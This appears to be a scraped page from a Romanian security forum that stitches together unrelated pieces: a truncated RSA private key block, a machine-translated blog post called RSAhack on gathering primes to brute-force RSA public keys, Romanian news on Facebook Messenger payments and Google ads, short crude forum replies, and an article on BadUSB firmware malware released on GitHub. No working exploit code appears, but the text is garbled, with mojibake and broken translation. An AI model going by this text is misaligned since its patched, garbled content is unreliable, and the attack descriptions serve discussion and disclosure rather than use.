DrzrZmQWyudshQp78u7nSjmcZnf9NHdmt9FRqFXKX / M = ----- END RSA PRIVATE KEY ----- All we need is to extract the prime numbers that look and keep them in the same format as we see what is hexadecimal, this task can be automated so you can start playing with numbers Cousins ??Big Eye is not the only way, but if used for testing. After getting a good deal (many) primes we can start making Fuerza Bruta on a public key, and then to generate the private key. advice for driving large primes recommend using GMP Here's a video where you can see running RSAhak, in an attack on a public key of 1024 bits. video Demonstration I leave a simple module written in Python so that after the primes to generate RSA private key. You can download it from github. Later I'll post the full project RSAhack Cristian Amicelli Tagged as: Cryptography, Superpower, Python, RSA Categorized as: Cryptography 4 thoughts on "RSAhack" jorge kamlofsky says: 09/08/2014 at 13:29 Hello, Cristian. I am a mathematician: Discrete Mathematics teacher IAU. Hence I know Juan Manuel, who passed me your presentations. Excellent job! Congratulations! I will try to reproduce the attack in order to understand it better. Thanks and regards. JK Reply Cristian Amicelli says: 09/08/2014 at 17:45 Thank you Jorge, you have any questions, ideas or advice do not hesitate to perform them Reply NU11 says: 09/09/2014 at 18:24 SEAS primes not the same length == primes SEAN not the same length? Reply Cristian Amicelli says: 09/14/2014 at 19:21 Post navigation Pharming ? PHP and cURL View: Mobile | Classic Google Translate for Business:Translator ToolkitWebsite TranslatorGlobal Market Finder Sursa: OpenSSL RSA Hack: www.cristianamicelli.com.ar/blog/rsahack - Pastebin.com

Follow @DanDragomir 6 octombrie 2014 @ 11:33 Facebook Messenger va oferi posibilitatea de a transfera bani între prieteni, fiind de fapt un plan al Facebook de a deveni o afacere cu adev?rat profitabil?. De aceea a fost impus tuturor. Apropo, am descoperit c? dac? dezistalez aplica?ia de Facebook ?i o reinstalez iar, merge mesageria cum era înainte. S? vedem pentru cât timp. Codul legat de transfer de bani a fost descoperit de un student ?i publicat prima oar? de TechCrunch. Industria întreag? este tot mai interesat? s? aduc? pl??ile mobile pe telefonul mobil. Atât b?ncile ?i institu?iile financiare, cât ?i utilizatorii sunt interesa?i de asta, iar evident marile platforme care pot deveni intermediari vor avea de câ?tigat. A?a c? Facebook bate Google la interven?ii for?ate. Întâi au f?cut un studiu dubios pe spatele utilizatorilor, apoi au impus for?at Messenger cu un singur scop: s? câ?tige cât mai mul?i bani. Pentru a putea transmite ?i primi bani va trebui s? introduce?i în Facebook Messenger datele de card bancar. S? vede?i distrac?ie Sursa: https://www.computerblog.ro/business/adevarul-despre-facebook-messenger.html

C?t?lin Ni?u - 30 sep 2014 Întrucât reclamele de pe mobile nu aduc la fel de mul?i bani precum cele de pe desktop, Google pl?nuie?te s? î?i m?reasc? profiturile schimbând modul de afi?are al acestora. Asemeni ini?iativei iAds lansat? de Apple în urm? cu patru ani, noile reclame de pe Android vor beneficia de elemente multimedia care ocup? întregul ecran pentru a m?ri ?ansa de de interac?iune din partea utilizatorilor. Aparent planul este s? foloseasc? atât clipuri video de diverse dimensiuni, cât ?i mini-aplica?ii interactive. Acest gen de reclame nu este deloc nou, alte companii oferind astfel de solu?ii de mai mult? vreme în spa?iul mobil. Cum ini?iativa Apple a e?uat în mare parte, iar juc?torii de pe aceast? pia?? sunt prea mici pentru a putea acapara un procent prea mare din pia?a de publicitate online pe mobile, Google este singura companie care ar putea avea succes acum în acest spa?iu. Implementarea noilor reclame trebuie f?cut îns? într-un mod care s? nu deranjeze utilizatorii. Google pare s? condi?ioneze utilizarea lor doar în momente obi?nuite de „pauz?”. Un exemplu interesant ar putea fi integrarea unui clip video de 15-20 secunde între dou? niveluri dintr-un joc de genul Angry Birds. Interesant este faptul c? Google a decis s? foloseasc? astfel de reclame chiar dup? ce Apple a decis s? mai încerce odat? cu reclamele pe mobil, ini?iativ? confirmat? în urm? cu câteva luni. Sper?m doar ca aceste practici s? nu distrug? de tot ecosistemul de aplica?ii mobile, care este chiar ?i acum plin de reclame de tip banner ?i de micro-tranzac?ii mai mult sau mai pu?in justificate. Sursa: Reclame fullscreen în aplica?ii pentru Android de la Google ADSdroid.

Super, asta inteleg eu prin "hacking". E inutil, dar e for fun.

Nu acceptam "market" de la persoane care nu au 50 de posturi. Ban.

Ok, nu vine nimeni cu o captura de Wireshark? Cu un screenshot in care sa se vada un apel SetWindowHookEx sau GetAsyncKeyState? Adica o demonstratie. Dar ce zice acolo e mult mai mult decat un keylogger. Nu folositi asa ceva, dupa cum spun si ei, folositi doar pentru teste.

Poate cineva sa descarce si sa uploadeze in alta parte? E un jeg site-ul ala.

BadUSB the unpatchable malware code published on Github 0 By Vijay on October 3, 2014 · BadUSB : The unpatchable and unfixable USB malware Exactly two months after researcher Karsten Nohl demonstrated an attack he called BadUSB to a standing-room-only crowd at the Black Hat security conference in Las Vegas. The BadUSB was later demonstrated again by two researchers, Adam Caudill and Brandon Wilson. Caudill and Wilson presented the vulnerability at Derbycon 4.0 conference last week in Louisville. What is BadUSB? The malware which is dubbed BadUSB, reprograms embedded firmware to give USB devices new, covert and most powerful capabilities. In a demo at Black Hat security conference in Las Vegas, a USB drive was infected and showed its ability to act as a keyboard that surreptitiously types malicious commands into attached computers. Another USB was similarly be reprogrammed to act as a network card that causes connected computers to connect to malicious sites impersonating Google, Facebook or other trusted destinations. The demo showed that similar hacks could work against Android phones when attached to targeted computers. The malware is so huge that it can work on almost any USB linked devices like Web cams, keyboards, smart phones etc. BadUSB on Github Researchers Wilson and Caudill reversed-engineered USB firmware and reprogrammed it to launch various attacks. They then put the code for BadUSB on Github with a intent of letting all the users know abouts its effects. “The belief we have is that all of this should be public. It shouldn’t be held back. So we’re releasing everything we’ve got,” Caudill told the Derbycon audience on Friday. “This was largely inspired by the fact that [sR Labs] didn’t release their material. If you’re going to prove that there’s a flaw, you need to release the material so people can defend against it.” Caudill and Wilson discussed various scenarios where BadUSB can be used. Prominent among them and most deadliest is the USB device to emulate a keyboard and issue commands on behalf of a logged-in user to exfiltrate data or install malware. Unpatchable!!! BadUSB remains unpatchable at the moment. The reason according to the both the researchers, is that the USB controller chips in peripherals can be reprogrammed to spoof other devices and there’s little or no protection to prevent anyone from doing so. They also feel that since USBs are mass manufactured these days and it proves that anyone can input the code to insert the malware and take command of any system, perhaps the USB manufacturers will be under pressure to fix it soon. “If the only people who can do this are those with significant budgets, the manufacturers will never do anything about it,” Caudill told Wired. “You have to prove to the world that it’s practical, that anyone can do it…That puts pressure on the manufactures to fix the real issue.” The researchers also hope that putting teh code on Github would encourage companies and white hat researchers to find a fix for the malware. Sursa: BadUSB the unpatchable malware code published on Github

Poate tu muncesti pe 10 milioane. Lasa matura/lopata si pune mana si invata.

Nu mai are meniul ala de cacat "Metro", are butonu de start ca in imagine dar in rest nu am vazut diferente...

S-a facut. S-au gasit persoane care sa predea si s-au oferit o gramada ca participa, dar cand se preda, pula "studenti", intrau doar cativa plus alti cativa care erau "Idle". Nu meritati.